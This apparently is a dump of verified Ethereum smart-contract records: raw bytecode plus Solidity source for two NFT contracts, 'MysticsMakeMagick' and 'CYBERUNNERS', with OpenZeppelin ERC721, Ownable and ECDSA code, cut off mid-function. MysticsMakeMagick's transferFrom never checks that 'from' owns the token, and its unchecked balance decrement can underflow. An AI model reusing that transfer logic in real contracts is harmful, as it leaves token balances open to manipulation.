44cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60005b6003548111610aab576003818154811061099f57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0383811691161415610a9957600380546109ce90600190610bbe565b815481106109ec57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600380546001600160a01b039092169183908110610a2657634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506003805480610a7357634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610aa381610bd5565b915050610975565b5050565b80356001600160a01b0381168114610ac657600080fd5b919050565b600060208284031215610adc578081fd5b610ae582610aaf565b9392505050565b600080600060608486031215610b00578182fd5b610b0984610aaf565b9250610b1760208501610aaf565b9150604084013590509250925092565b600060208284031215610b38578081fd5b81518015158114610ae5578182fd5b6020808252825182820181905260009190848201906040850190845b81811015610b885783516001600160a01b031683529284019291840191600101610b63565b50909695505050505050565b60208082526010908201526f4e6f7420746865206d756c746973696760801b604082015260600190565b600082821015610bd057610bd0610bf0565b500390565b6000600019821415610be957610be9610bf0565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212200fb5d4d1c19ef02d0d6d83a2d2ce8d2919aed2180719c4f9470c223f19d3387b64736f6c63430008040033
[ 16 ]
0xf29e0d9f58eed1512d29acc2f0464338ea620c06
pragma solidity 0.5.17; contract MysticsMakeMagick { // based on GAMMA nft - 0xeF0ff94B152C00ED4620b149eE934f2F4A526387 address public mystic; uint256 public totalSupply; uint256 public constant totalSupplyCap = 100000000000000000000; string public name = "Mystics Make Magick"; string public symbol = "MMM"; mapping(address => uint256) public balanceOf; mapping(uint256 => address) public getApproved; mapping(uint256 => address) public ownerOf; mapping(uint256 => uint256) public tokenByIndex; mapping(uint256 => string) public tokenURI; mapping(bytes4 => bool) public supportsInterface; // eip-165 mapping(address => mapping(address => bool)) public isApprovedForAll; mapping(address => mapping(uint256 => uint256)) public tokenOfOwnerByIndex; event Approval(address indexed approver, address indexed spender, uint256 indexed tokenId); event ApprovalForAll(address indexed holder, address indexed operator, bool approved); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); constructor () public { mystic = msg.sender; supportsInterface[0x80ac58cd] = true; // ERC721 supportsInterface[0x5b5e139f] = true; // METADATA supportsInterface[0x780e9d63] = true; // ENUMERABLE } function approve(address spender, uint256 tokenId) external { require(msg.sender == ownerOf[tokenId] || isApprovedForAll[ownerOf[tokenId]][msg.sender], "!owner/operator"); getApproved[tokenId] = spender; emit Approval(msg.sender, spender, tokenId); } function mint(address to) external { require(msg.sender == mystic, "!mystic"); totalSupply++; require(totalSupply <= totalSupplyCap, "capped"); uint256 tokenId = totalSupply; balanceOf[to]++; ownerOf[tokenId] = to; tokenByIndex[tokenId - 1] = tokenId; tokenURI[tokenId] = "https://ipfs.globalupload.io/QmVhscFUL3MiRqpPNwLBVoiSYrVAqcMGvGLEeFysKGAsbu"; tokenOfOwnerByIndex[to][tokenId - 1] = tokenId; emit Transfer(address(0), to, tokenId); } function setApprovalForAll(address operator, bool approved) external { isApprovedForAll[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function _transfer(address from, address to, uint256 tokenId) internal { balanceOf[from]--; balanceOf[to]++; getApproved[tokenId] = address(0); ownerOf[tokenId] = to; tokenOfOwnerByIndex[from][tokenId - 1] = 0; tokenOfOwnerByIndex[to][tokenId - 1] = tokenId; emit Transfer(from, to, tokenId); } function transfer(address to, uint256 tokenId) external { require(msg.sender == ownerOf[tokenId], "!owner"); _transfer(msg.sender, to, tokenId); } function transferBatch(address[] calldata to, uint256[] calldata tokenId) external { require(to.length == tokenId.length, "!to/tokenId"); for (uint256 i = 0; i < to.length; i++) { require(msg.sender == ownerOf[tokenId[i]], "!owner"); _transfer(msg.sender, to[i], tokenId[i]); } } function transferFrom(address from, address to, uint256 tokenId) external { require(msg.sender == ownerOf[tokenId] || getApproved[tokenId] == msg.sender || isApprovedForAll[ownerOf[tokenId]][msg.sender], "!owner/spender/operator"); _transfer(from, to, tokenId); } function updateMystic(address _mystic) external { require(msg.sender == mystic, "!mystic"); mystic = _mystic; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636352211e116100ad578063a9059cbb11610071578063a9059cbb14610452578063bb102aea1461047e578063c87b56dd14610486578063e9423289146104a3578063e985e9c5146104c95761012c565b80636352211e146103b35780636a627842146103d057806370a08231146103f657806395d89b411461041c578063a22cb465146104245761012c565b806323b872dd116100f457806323b872dd1461026a5780632ea8c1ea146102a05780632f745c59146102a85780633b3e672f146102d45780634f6ccce7146103965761012c565b806301ffc9a71461013157806306fdde031461016c578063081812fc146101e9578063095ea7b31461022257806318160ddd14610250575b600080fd5b6101586004803603602081101561014757600080fd5b50356001600160e01b0319166104f7565b604080519115158252519081900360200190f35b61017461050c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ae578181015183820152602001610196565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610206600480360360208110156101ff57600080fd5b5035610597565b604080516001600160a01b039092168252519081900360200190f35b61024e6004803603604081101561023857600080fd5b506001600160a01b0381351690602001356105b2565b005b61025861069f565b60408051918252519081900360200190f35b61024e6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356106a5565b610206610778565b610258600480360360408110156102be57600080fd5b506001600160a01b038135169060200135610787565b61024e600480360360408110156102ea57600080fd5b81019060208101813564010000000081111561030557600080fd5b82018360208201111561031757600080fd5b8035906020019184602083028401116401000000008311171561033957600080fd5b91939092909160208101903564010000000081111561035757600080fd5b82018360208201111561036957600080fd5b8035906020019184602083028401116401000000008311171561038b57600080fd5b5090925090506107a4565b610258600480360360208110156103ac57600080fd5b50356108a7565b610206600480360360208110156103c957600080fd5b50356108b9565b61024e600480360360208110156103e657600080fd5b50356001600160a01b03166108d4565b6102586004803603602081101561040c57600080fd5b50356001600160a01b0316610a57565b610174610a69565b61024e6004803603604081101561043a57600080fd5b506001600160a01b0381351690602001351515610ac4565b61024e6004803603604081101561046857600080fd5b506001600160a01b038135169060200135610b32565b610258610b95565b6101746004803603602081101561049c57600080fd5b5035610ba2565b61024e600480360360208110156104b957600080fd5b50356001600160a01b0316610c0a565b610158600480360360408110156104df57600080fd5b506001600160a01b0381358116916020013516610c75565b60096020526000908152604090205460ff1681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561058f5780601f106105645761010080835404028352916020019161058f565b820191906000526020600020905b81548152906001019060200180831161057257829003601f168201915b505050505081565b6005602052600090815260409020546001600160a01b031681565b6000818152600660205260409020546001600160a01b031633148061060357506000818152600660209081526040808320546001600160a01b03168352600a825280832033845290915290205460ff165b610646576040805162461bcd60e51b815260206004820152600f60248201526e10b7bbb732b917b7b832b930ba37b960891b604482015290519081900360640190fd5b60008181526005602052604080822080546001600160a01b0319166001600160a01b0386169081179091559051839233917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a45050565b60015481565b6000818152600660205260409020546001600160a01b03163314806106e057506000818152600560205260409020546001600160a01b031633145b8061071757506000818152600660209081526040808320546001600160a01b03168352600a825280832033845290915290205460ff165b610768576040805162461bcd60e51b815260206004820152601760248201527f216f776e65722f7370656e6465722f6f70657261746f72000000000000000000604482015290519081900360640190fd5b610773838383610c95565b505050565b6000546001600160a01b031681565b600b60209081526000928352604080842090915290825290205481565b8281146107e6576040805162461bcd60e51b815260206004820152600b60248201526a085d1bcbdd1bdad95b925960aa1b604482015290519081900360640190fd5b60005b838110156108a0576006600084848481811061080157fe5b60209081029290920135835250810191909152604001600020546001600160a01b03163314610860576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b6108983386868481811061087057fe5b905060200201356001600160a01b031685858581811061088c57fe5b90506020020135610c95565b6001016107e9565b5050505050565b60076020526000908152604090205481565b6006602052600090815260409020546001600160a01b031681565b6000546001600160a01b0316331461091d576040805162461bcd60e51b8152602060048201526007602482015266216d797374696360c81b604482015290519081900360640190fd5b6001805481019081905568056bc75e2d63100000101561096d576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b600180546001600160a01b038316600081815260046020908152604080832080549096019095558382526006815284822080546001600160a01b0319169093179092556000198301815260078252839020829055825160808101909352604b80845291929190610def90830139600082815260086020908152604090912082516109fd9391929190910190610d53565b506001600160a01b0382166000818152600b602090815260408083206000198601845290915280822084905551839291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60046020526000908152604090205481565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561058f5780601f106105645761010080835404028352916020019161058f565b336000818152600a602090815260408083206001600160a01b03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b6000818152600660205260409020546001600160a01b03163314610b86576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b610b91338383610c95565b5050565b68056bc75e2d6310000081565b60086020908152600091825260409182902080548351601f60026000196101006001861615020190931692909204918201849004840281018401909452808452909183018282801561058f5780601f106105645761010080835404028352916020019161058f565b6000546001600160a01b03163314610c53576040805162461bcd60e51b8152602060048201526007602482015266216d797374696360c81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600a60209081526000928352604080842090915290825290205460ff1681565b6001600160a01b0380841660008181526004602090815260408083208054600019908101909155948716808452818420805460010190558684526005835281842080546001600160a01b031990811690915560068452828520805490911682179055848452600b80845282852096880180865296845282852085905581855283528184209584529490915280822085905551849392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610d9457805160ff1916838001178555610dc1565b82800160010185558215610dc1579182015b82811115610dc1578251825591602001919060010190610da6565b50610dcd929150610dd1565b5090565b610deb91905b80821115610dcd5760008155600101610dd7565b9056fe68747470733a2f2f697066732e676c6f62616c75706c6f61642e696f2f516d5668736346554c334d69527170504e774c42566f69535972564171634d4776474c45654679734b4741736275a265627a7a72315820002810ef6f6939066aca758a8e836051f88f217c45676ea1095811c39f1714a864736f6c63430005110032
[ 38 ]
0xf29E10B0a331D649Acac6c919E6C0634318Cccd7
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; // dev is @elbrupt on telegram contract CYBERUNNERS is ERC721, Ownable { using Strings for uint256; // test withdraw wallets address public verifiedSigner = 0xfA9500C2F2d397e95de8E67a0D78EeaC98340921; address private memberOne = 0xDcfe06271A89d454fF3302bAB78d564ad6952607; // art address private memberTwo = 0x983C5BC4C3Cfb1e615fc2C686BF996c0cc0532D3; // manage address private memberThree = 0x59AC63f2ce680CaDF37193CFed3D41C47F3d8c5E; // code address private memberFour = 0x713eeD92d42dF88AB85934E7156aCDC47b9968C4; // web uint256 public NFT_MAX = 2222; uint256 public NFT_PRICE = 0.07 ether; uint256 public constant NFTS_PER_MINT = 8; string private _contractURI; string private _tokenBaseURI; string public _mysteryURI; mapping(uint256 => bool) private usedNonce; bool public revealed; bool public saleLive = true; bool public giftLive = true; bool public burnLive; uint256 public totalSupply; uint256 public totalBurnedSupply; constructor() ERC721("CYBERUNNERS", "CYBER") {} function mintGiftAsOwner(uint256 tokenQuantity, address wallet) external onlyOwner { require(giftLive, "GIFTING_CLOSED"); require(totalSupply < NFT_MAX, "OUT_OF_STOCK"); require(totalSupply + tokenQuantity <= NFT_MAX, "EXCEED_STOCK"); for (uint256 i = 0; i < tokenQuantity; i++) { _safeMint(wallet, totalSupply + i + 1); } totalSupply += tokenQuantity; } function mintGift( uint256 tokenQuantity, uint256 nonce, address wallet, bytes memory signature ) external { require(giftLive, "GIFTING_CLOSED"); require(totalSupply < NFT_MAX, "OUT_OF_STOCK"); require(totalSupply + tokenQuantity <= NFT_MAX, "EXCEED_PUBLIC"); require(usedNonce[nonce] == false, "NONCE_ALREADY_USED"); require( matchSigner( hashTransaction(nonce, wallet, tokenQuantity), signature ), "NOT_ALLOWED_TO_MINT" ); usedNonce[nonce] = true; // gifts wallet input for (uint256 i = 0; i < tokenQuantity; i++) { _safeMint(wallet, totalSupply + i + 1); } totalSupply += tokenQuantity; } function mint( uint256 tokenQuantity, uint256 nonce, address wallet, bytes memory signature ) external payable { require(saleLive, "SALE_CLOSED"); require(totalSupply < NFT_MAX, "OUT_OF_STOCK"); require(totalSupply + tokenQuantity <= NFT_MAX, "EXCEED_STOCK"); require(NFT_PRICE * tokenQuantity <= msg.value, "INSUFFICIENT_ETH"); require(!usedNonce[nonce], "NONCE_ALREADY_USED"); require(tokenQuantity <= NFTS_PER_MINT, "EXCEED_NFTS_PER_MINT"); require( matchSigner( hashTransaction(nonce, wallet, tokenQuantity), signature ), "NOT_ALLOWED_TO_MINT" ); usedNonce[nonce] = true; for (uint256 i = 0; i < tokenQuantity; i++) { _safeMint(msg.sender, totalSupply + i + 1); } totalSupply += tokenQuantity; } function hashTransaction( uint256 nonce, address wallet, uint256 tokenQuantity ) internal pure returns (bytes32) { bytes32 hash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(nonce, wallet, tokenQuantity)) ) ); return hash; } function matchSigner(bytes32 hash, bytes memory signature) internal view returns (bool) { return verifiedSigner == ECDSA.recover(hash, signature); } function withdraw() external { uint256 currentBalance = address(this).balance; payable(memberOne).transfer((currentBalance * 50) / 100); payable(memberTwo).transfer((currentBalance * 30) / 100); payable(memberThree).transfer((currentBalance * 10) / 100); payable(memberFour).transfer((currentBalance * 10) / 100); } function burnMint(uint256 _tokenId) public { require(burnLive == true, "BURN_IS_NOT_LIVE"); require(ownerOf(_tokenId) == msg.sender, "TOKEN_TO_BURN_NOT_BY_OWNER"); _burn(_tokenId); totalBurnedSupply = totalBurnedSupply + 1; } function burnMintAsOwner(uint256 _tokenId) public onlyOwner { require(burnLive == true, "BURN_IS_NOT_LIVE"); _burn(_tokenId); totalBurnedSupply = totalBurnedSupply + 1; } function toggleBurnStatus() external onlyOwner { burnLive = !burnLive; } function toggleSaleStatus() external onlyOwner { saleLive = !saleLive; } function toggleSaleGiftStatus() external onlyOwner { giftLive = !giftLive; } function toggleMysteryURI() public onlyOwner { revealed = !revealed; } function setVerifiedSigner(address wallet) public onlyOwner { verifiedSigner = wallet; } function setMysteryURI(string calldata URI) public onlyOwner { _mysteryURI = URI; } function setPriceOfNFT(uint256 price) external onlyOwner { // 70000000000000000 = .07 eth NFT_PRICE = price; } function setNFTMax(uint256 max) external onlyOwner { NFT_MAX = max; } function setContractURI(string calldata URI) external onlyOwner { _contractURI = URI; } function setBaseURI(string calldata URI) external onlyOwner { _tokenBaseURI = URI; } function contractURI() public view returns (string memory) { return _contractURI; } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require(_exists(tokenId), "Cannot query non-existent token"); if (revealed == false) { return _mysteryURI; } return string( abi.encodePacked(_tokenBaseURI, tokenId.toString(), ".json") ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s 